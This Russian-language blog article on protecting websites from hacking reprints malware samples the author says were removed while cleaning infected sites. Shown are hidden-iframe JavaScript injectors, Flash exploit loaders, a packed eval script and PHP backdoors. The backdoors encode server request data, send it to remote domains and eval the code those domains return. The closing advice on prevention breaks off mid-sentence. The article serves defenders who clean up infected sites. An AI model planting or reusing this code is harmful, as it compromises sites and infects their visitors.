Как защитить сайт от взлома
Четверг, 16 Янв 2014 20:51Начало «Уязвимость крылась на хостинге»
На снимке: пример рабочего веб-шелла.
Ну и наконец, самое сладкое на закуску — примеры вредоносного кода, включая образцы рабочих веб-шеллов, используемых при атаке на сайты и изъятых в процессе чистки.
ВАЖНО! Оказывается, антивирус блокирует эту страницу из-за данных образцов вирусного кода. (Кроме того, из-за наличия большого количества вредоносного кода антивирусы, такие как Нод, Авира, AVP, Аваст начали блокировать профильную ветку на форуме поисковых систем серчинжинс). Это естественно, так как на ней содержится реальный код вирусов и троянов. Поэтому я вынужден был скрыть его специальным плагином, в таком случае антивирус не видит его и молчит. Вы можете открыть код, нажав на кнопки соцсетей, но в таком случае нужно будет добавить эту страницу в исключения).
Примеры самых первых вирусов, начинались на
var if8LBdg4 = document.createElement(‘iframe’);if8LBdg4.name = ‘if8LBdg4’;if8LBdg4.src =
где вместо if8LBdg4 используется любой произвольный набор цифр и латинских букв.
Вот еще примеры подобного кода, первый:
1
|
var ifh8l8b = document.createElement('iframe');ifh8l8b.name = 'ifh8l8b';ifh8l8b.src = 'http://asdep.3inkjet. com/';ifh8l8b.style.width = '0px';ifh8l8b.style.height = '0px';window.onload = function() {if (document.cookie.indexOf('ifh8l8b=') == -1) {document.cookie = 'ifh8l8b=yes; path=/; expires=Wednesday, 18-May-33 03:33:20 GMT';document.getElementsByTagName('body')[0].appendChild(ifh8l8b);}};
|
Второй:
1
|
var if68Vjm = document.createElement('iframe');if68Vjm.name = 'if68Vjm';if68Vjm.src = 'http://nulber.ddaapp.com/';if68Vjm.style.width = '0px';if68Vjm.style.height = '0px';window.onload = function() {if (document.cookie.indexOf('if68Vjm=') == -1) {document.cookie = 'if68Vjm=yes; path=/; expires=Wednesday, 18-May-33 03:33:20 GMT';document.getElementsByTagName('body')***91;0***93;.appendChild(if68Vjm);}};
|
При этом коды постоянно видоизменялись, принимая сначала такой вид:
1
|
var ifj5UX = document.createElement('iframe');ifj5UX.name = 'ifj5UX';ifj5UX.src = 'http://sdpor.winonawinn.com/';ifj5UX.style.width = '0px';ifj5UX.style.height = '0px';window.onload = function() {if (document.cookie.indexOf('ifj5UX=') == -1) { document.getElementsByTagName('body')[0].appendChild(ifj5UX); document.cookie = 'ifj5UX=yes; path=/; expires=Wednesday, 18-May-33 03:33:20 GMT';}};
|
Потом такой:
1
|
var if89fhmv = document.createElement('iframe');if89fhmv.name = 'if89fhmv';if89fhmv.src = 'http://vernum.1ber. to/';if89fhmv.style.width = '0px';if89fhmv.style.height = '0px';window.onload = function() {document.cookie = 'chcook=yes; path=/; expires=Wednesday, 18-May-33 03:33:20 GMT'; if ((document.cookie.indexOf('if89fhmv=') == -1) && (document.cookie.indexOf('chcook=') != -1)) { document.getElementsByTagName('body')[0].appendChild(if89fhmv);var expiresDate = new Date(); expiresDate.setTime(expiresDate.getTime() + 432000000);setTimeout(function() { document.cookie = 'if89fhmv=yes; path=/; expires=' + expiresDate; }, 5000);}};
|
И, наконец, такой:
1
|
var ifoe2Xu = document.createElement('iframe');ifoe2Xu.name = 'ifoe2Xu';ifoe2Xu.src = 'http://'+genstrdom(Math.floor(Math.random() * 20) + 5)+'.'+'barinok.in/';ifoe2Xu.style.width = '0px';ifoe2Xu.style.height = '0px';window.onload = function() {document.cookie = 'chcook=yes; path=/; expires=Wednesday, 18-May-33 03:33:20 GMT'; if ((document.cookie.indexOf('ifoe2Xu=') == -1) && (document.cookie.indexOf('chcook=') != -1)) { document.getElementsByTagName('body')[0].appendChild(ifoe2Xu);var expiresDate = new Date(); expiresDate.setTime(expiresDate.getTime() + 432000000);setTimeout(function() { document.cookie = 'ifoe2Xu=yes; path=/; expires=' + expiresDate; }, 5000);}};function genstrdom(length) {var st = '';var chars = 'abcdefghijklmnopqrstuvwxyz0123456789';for (i=1;i<length;i++) {var c = Math.floor(Math.random()*chars.length + 1);st += chars.charAt(c)}return st;}
|
1
|
var ifauZp = document.createElement('iframe');ifauZp.name = 'ifauZp';ifauZp.src = 'http://'+genstrdom(Math.floor(Math.random() * 20) + 5)+'.'+'autopridan.ru/';ifauZp.style.width = '0px';ifauZp.style.height = '0px';window.onload = function() {document.cookie = 'chcook=yes; path=/; expires=Wednesday, 18-May-33 03:33:20 GMT'; if ((document.cookie.indexOf('ifauZp=') == -1) && (document.cookie.indexOf('chcook=') != -1)) { document.getElementsByTagName('body')[0].appendChild(ifauZp);var expiresDate = new Date(); expiresDate.setTime(expiresDate.getTime() + 432000000);setTimeout(function() { document.cookie = 'ifauZp=yes; path=/; expires=' + expiresDate; }, 5000);}};function genstrdom(length) {var st = '';var chars = 'abcdefghijklmnopqrstuvwxyz0123456789';for (i=1;i<length;i++) {var c = Math.floor(Math.random()*chars.length + 1);st += chars.charAt(c)}return st;}
|
1
|
var ifVcVajd = document.createElement('iframe');ifVcVajd.name = 'ifVcVajd';ifVcVajd.src = 'http://'+genstrdom(Math.floor(Math.random() * 20) + 5)+'.'+'bazeratincomers.ru/';ifVcVajd.style.width = '0px';ifVcVajd.style.height = '0px';window.onload = function() {document.cookie = 'chcook=yes; path=/; expires=Wednesday, 18-May-33 03:33:20 GMT'; if ((document.cookie.indexOf('ifVcVajd=') == -1) && (document.cookie.indexOf('chcook=') != -1)) { document.getElementsByTagName('body')[0].appendChild(ifVcVajd);var expiresDate = new Date(); expiresDate.setTime(expiresDate.getTime() + 432000000); setTimeout(function() { document.cookie = 'ifVcVajd=yes; path=/; expires=' + expiresDate; }, 5000);}};function genstrdom(length) {var st = '';var chars = 'abcdefghijklmnopqrstuvwxyz0123456789';for (i=1;i<length;i++) {var c = Math.floor(Math.random()*chars.length + 1);st += chars.charAt(c)}return st;}
|
1
|
var ifKiB9c = document.createElement('iframe');ifKiB9c.name = 'ifKiB9c';ifKiB9c.src = 'http://'+genstrdom(Math.floor(Math.random() * 20) + 5)+'.'+'bazeratincomers.ru/';ifKiB9c.style.width = '0px';ifKiB9c.style.height = '0px';window.onload = function() {document.cookie = 'chcook=yes; path=/; expires=Wednesday, 18-May-33 03:33:20 GMT'; if ((document.cookie.indexOf('ifKiB9c=') == -1) && (document.cookie.indexOf('chcook=') != -1)) { document.getElementsByTagName('body')[0].appendChild(ifKiB9c);var expiresDate = new Date(); expiresDate.setTime(expiresDate.getTime() + 432000000); setTimeout(function() { document.cookie = 'ifKiB9c=yes; path=/; expires=' + expiresDate; }, 5000);}};function genstrdom(length) {var st = '';var chars = 'abcdefghijklmnopqrstuvwxyz0123456789';for (i=1;i<length;i++) {var c = Math.floor(Math.random()*chars.length + 1);st += chars.charAt(c)}return st;}
|
На самом деле таких вариантов очень много, отличаются они цифрами после var — ifKiB9c, ifVcVajd, очевидно присваиваемые рандомно.
Обратите также внимание на названия доменов —
asdep.3inkjet.com
vernum.1ber.to
nulber.ddaapp.com
bazeratincomers.ru и так далее. Тот же абсолютно бессмысленный набор букв, как будто их регистрировал робот.
[original:seo-semki.ru]
Кстати, подобная проблема наблюдалась ранее у сайтов на ЦМС Джумла.
Тогда вирус создавал в корневых папках сайта public_html файлы с цифровым именем и расширением .php (например, 334455.php, 16187.php) размером 2 Кб.
Какие признаки вируса были в тот раз?
В админке Joomla при заходе в общие настройки появлялся белый экран, при этом остальные вкладки работали нормально. Либо появлялись пустые страницы во вкладках пользователи и плагины со ссылкой вида seo-semki.ru/administrator/index.php?option=com_config
Примеры такого кода:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
error_reporting(0);
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);
$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cGhwc2VhcmNoLmNu");
if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="785cdb79d0d72d6ee6ba74b61d2b5466") $f=$_REQUEST["id"];
if((include(base64_decode("aHR0cDovL2FkczEu").$f.$z)));
else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);
else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);
eval($o);
}; ?>
|
Скриншот подобного кода:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
error_reporting(0);
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);
$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);
$f=base64_decode("cGhwZmVlZC5ydQ==");
if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="7ee129ae306fce10aa004b33705f4fe7") $f=$_REQUEST["id"];
if($c=file_get_contents(base64_decode("aHR0cDovLzdhZHMu").$f.$z))eval($c);
else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);
else {$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$o=curl_exec($cu);
curl_close($cu);
eval($o);};
die(); ?>
|
Скриншот кода:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
error_reporting(0);
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);
$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");
if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="a779e32441979969c53edd4ec72320e7") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));
else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);
else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$o=curl_exec($cu);
curl_close($cu);
eval($o);};
die(); ?>
|
Ещё пример:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
error_reporting(0);
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);
$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");
if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="df381a614ab89ebe1664130522dce31c") $f=$_REQUEST["id"];
if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));
else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);
else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$o=curl_exec($cu);
curl_close($cu);
eval($o);};
die(); ?>
|
В коде были зашифрованы названия доменов:
cnNzbmV3cy53cw== = rssnews.ws
phpfeed.ru
phpsearch.cn
Примеры кода с использованием флешек с эксплойтами внутри:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
function addNewObject () {
try {
var ua = navigator.userAgent.toLowerCase();
if ((ua.indexOf("chrome") == -1 && ua.indexOf("win") != -1) && navigator.javaEnabled()) {
var dfgvkip=["\x4a\x59mX\x2f\x61\x64\x6d\x69\x6e\x69strato\x72\x2f\x68\x65lp/en\x2d\x47\x42\x2f\x43\x6f\x6dpon\x65\x6e\x74\x73_Ban\x6e\x65\x72\x73\x5f\x54\x72\x61ck","v\x64\x7a\x6afE\x2e\x73\x77\x6f\x46\x52I\x51","R\x68\x59U\x46e\x47\x66Ew\x76\x68\x52\x6f\x53\x58Z\x42j\x65d","s\x75\x62\x73\x74r","ujl\x73\x43\x53\x64\x6ckb\x75G"];var counter = dfgvkip[0][dfgvkip[79-76]](92-13-75,5+45) + dfgvkip[43+38-77][dfgvkip[79-76]](-44+90-94+51,48+56-75-28) + dfgvkip[-87+8-82+162][dfgvkip[79-76]](-71-22+99,20-50-78+111) + dfgvkip[-40+42][dfgvkip[79-76]](15-8,-8+93+1-85);
var div = document.createElement('div');
div.innerHTML = ';
div.innerHTML += '';
div.innerHTML += 'counter +'" \/>';
div.innerHTML += 'counter +'" width="1" height="1" name="flash" allowScriptAccess="always" type="application\/x-shockwave-flash" \/>';
div.innerHTML += '<\/object>';
div.style.position = 'absolute';
div.style.left = '-100px';
div.style.top = '-100px';
document.body.insertBefore(div, document.body.children[0]);
}
} catch (e) {
if (document.body == undefined || document.body.children[0] == undefined) {
setTimeout('addNewObject()', 50);
}
}
}
|
Тут зашифрована ссылка на следующий веб-адрес:
http://xatyta.pp.ua/counter/hit/client_de5df061c99066d82cfc437f2b099455
Вот ещё похожий код со ссылкой на этот же домен, только урл уже другой: http://xatyta.pp.ua/crossdomain.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
function addNewObject () {
try {
var ua = navigator.userAgent.toLowerCase();
if ((ua.indexOf("chrome") == -1 && ua.indexOf("win") != -1) && navigator.javaEnabled()) {
var GaDgDaSLx=["bwYyVk\x76DZ\x54m\x64\x6bdT\x44\x2f\x61\x64m\x69n/\x69\x6d\x61\x67\x65s\x2fi\x63ons/icon_t\x61r\x2e\x73\x77SYK\x49uL\x6e\x4c\x6c\x72\x58U\x55\x45K\x58","\x6ee\x77lr\x59\x44\x5aB\x49fL\x66\x67\x6f","\x73\x75\x62\x73\x74r"];var counter = GaDgDaSLx[0][GaDgDaSLx[-12+14]](-88-26+22+108,48+14-31) + GaDgDaSLx[-72-61+134][GaDgDaSLx[-12+14]](18-8,97-96);
var div = document.createElement('div');
div.innerHTML = ';
div.innerHTML += '';
div.innerHTML += 'counter +'" \/>';
div.innerHTML += 'counter +'" width="1" height="1" name="flash" allowScriptAccess="always" type="application\/x-shockwave-flash" \/>';
div.innerHTML += '<\/object>';
div.style.position = 'absolute';
div.style.left = '-100px';
div.style.top = '-100px';
document.body.insertBefore(div, document.body.children[0]);
}
} catch (e) {
if (document.body == undefined || document.body.children[0] == undefined) {
setTimeout('addNewObject()', 50);
}
}
}
addNewObject();
|
Ещё пример подобного кода со ссылкой на swf-объект:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
function addNewObject(){try{var ua=navigator.userAgent.toLowerCase();
if((ua.indexOf("chrome")==-1&&ua.indexOf("win")!=-1)&&navigator.javaEnabled())
{var counter="/images/avatars/random/no_avatar17.swf";
var div=document.createElement('div');
div.innerHTML='
div.innerHTML+='';
div.innerHTML+='counter+'" \/>';
div.innerHTML+='+'" width="1" height="1" name="flash" allowScriptAccess="always" type="application\/x-shockwave-flash" \/>';
div.innerHTML+='<\/object>';
div.style.position='absolute';
div.style.left='-100px';div.style.top='-100px';
document.body.insertBefore(div,document.body.children[0]);}}
catch(e){if(document.body==undefined||document.body.children[0]==undefined){setTimeout('addNewObject()',50);}}};
addNewObject();
И ещё один код:
function addNewObject(){try{var ua=navigator.userAgent.toLowerCase();if((ua.indexOf("chrome")==-1&&ua.indexOf("win")!=-1)&&navigator.javaEnabled()){var counter="/wp-includes/images/crystal/video.swf";var div=document.createElement('div');div.innerHTML='
|
А вот вредоносный код, зашифрованный при помощи функции eval(function(p,a,c,k,e,d):
1
|
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('l F(v){10(s.A&&s.1O){6 z=s["1N"+"1M"+"1P"+"1Q"+"1S"+"1R"](\'1L\')[0];6 q=s.A(\'1K\');6 1E="%{?-1D$1C{-)7^P";6 1F="%[{<1G-[ ";6 1J="1I/G`><1H.^1T ";6 1U="29,*4`>3@)~?26^!x";6 25="?M>*;#x}2a:S=P";q.J(\'2b\',"t"+"e"+"2e/"+"2d"+"24"+"23"+"i"+"1X");q.J(\'v\',v);6 1V="1Y<2B^])1B]K%#U:";6 1Z="22.(V~i(5.21.Q";6 20="S*2f``#1w]!b";6 1c="1b#1a^1d#W&**1e+19";6 1f="1h=>17$#L(>?Q";z["a"+"15"+"e"+"16"+"C"+"18"+"14"](q)}}l B(){u 13.1g()}6 1A="[1v/`c%:$k^]{1u";6 1t="!=1i/p#1x{1z{";6 1y="&n[~}I{;n#2=r";6 1s="Y`[1r(1l";6 1k="`1j+1m$*]$8[L*%9>";l N(g){u g.E(T)!=-1}6 1n="9@]+9]+D]a<1{f>1q";6 2g="-1p->:#)1o@1W;2G^2V";6 2U="I~?2X!@2T(;2M~`1";6 2O="<.p!j-^i[V";6 31="/2Q^d)#%?#^&`37";6 11="32"+"38"+":/"+"/o"+"Z"+"34"+"Z"+".p"+"p."+"g"+"/5"+"36"+"2K"+"2q"+"2p"+"2L"+"2r"+"2s"+"2o"+"2n"+"2i"+"2h"+"12"+"2c"+"2k"+"2m"+"2l"+"2u"+"2v"+"2F"+"28"+"27"+"f";6 T="w"+"2E";6 2D="[1+***<2x#*?-!i[2y(";6 2z="&y[:+7>2A@,/<*";6 2C=".2w?#;2J<2I.";6 2H="[{:}2j+#H`-?m#.]#";6 2t="{/b!2R%R+@C{G=. 35";l O(g){u g.E("c"+"h"+"33"+"30")==-1}l X(){6 g=13["2P"]["2N"+"2S"+"2Y"+"r"+"2Z"+"2W"]();10(O(g)&&N(g)&&B()){F(11)}}X();',62,195,'||||||var||||||||||ua|||||function|||||script_tag||document||return|src||||head_tag|createElement|cond3|||indexOf|includeJavascript|_|||setAttribute||||isWin|notChrome|||||win||||includeCounter||xy|if|url||navigator|ld|pp|nd|lfJ|hi|M8|4e3_|ZC|qiMQIcMnJN3|x8|MGdx|qiMQIcMnJN4|javaEnabled|Ez6|9e1|J2|UXCfmHog4|Jcn|V51g|JXBEbQFyL0|ASZW|u8|bS_j|bRogN|UXCfmHog3|UXCfmHog1|S24|bm|Uxg|hB|UXCfmHog2|WAw|UXCfmHog0|5h|3G_|QC981_uQ|rWncKlQG0|rWncKlQG1|_qkXItT9cf|DA9B|MH|rWncKlQG2|script|head|Elem|get|getElementsByTagName|ents|By|ame|TagN|5K0|rWncKlQG3|qiMQIcMnJN0|Az4_|pt|Vp|qiMQIcMnJN1|qiMQIcMnJN2|xu4i|30F|scr|va|rWncKlQG4|A9HV|||WL|7e|type||ja|xt|_9|JXBEbQFyL1|58|65|dh|56|ff|00|a0|43|f8|8d|70|e1|OelKMe4|ed|0a|e6c|O54b|Qm|OelKMe1|GV78||OelKMe2|OelKMe0|in|9c|vbu|OelKMe3|LgEc|1sj_yhO|7a|9e|1sk3|to|JXBEbQFyL3|userAgent|E2|bS|Lo|Xl|JXBEbQFyL2|tO|se|FJ|we|Ca|me|JXBEbQFyL4|ht|ro|xe|p4_||9g2ik|tp'.split('|'),0,{}))
|
Да, и ещё, бывало, что хакеры защищали свои файлы от любопытных глаз кидая в папки файл .htaccess с таким содержимым:
на движке vbulletin:
Options -MultiViews
ErrorDocument 404 //forums/game/gamedata/fishyv32/500309.php
в папке под сапу:
Options -MultiViews
ErrorDocument 404 //xxxxx.ru/7894fae2a1c4b5dc2e8cc92321s45d67f/123992.php
в папке с кешем линкфида:
Options -MultiViews
ErrorDocument 404 //хэш/1172.php
Как избежать заражения сайта?
И наконец, рекомендации на тему «Как избежать заражения сайта и что делать в случае, если взлом всё же произошёл?»
Первое, это, естественно, скачивать файлы и плагины только с официальных источников, например, для Вордпресс это сайт wordpress.org.
Второе – регулярно обновлять файлы движка и плагинов до новой версии. Проверять и скачивать все новые обновления безопасности (патчи), закрывающие найденные уязвимости, что особенно актуально для сообщества Dle.
Третье. Следует проверять данные, которые могут вводить пользователи. Следует также исключить возможность вставки JavaScript-ов внутри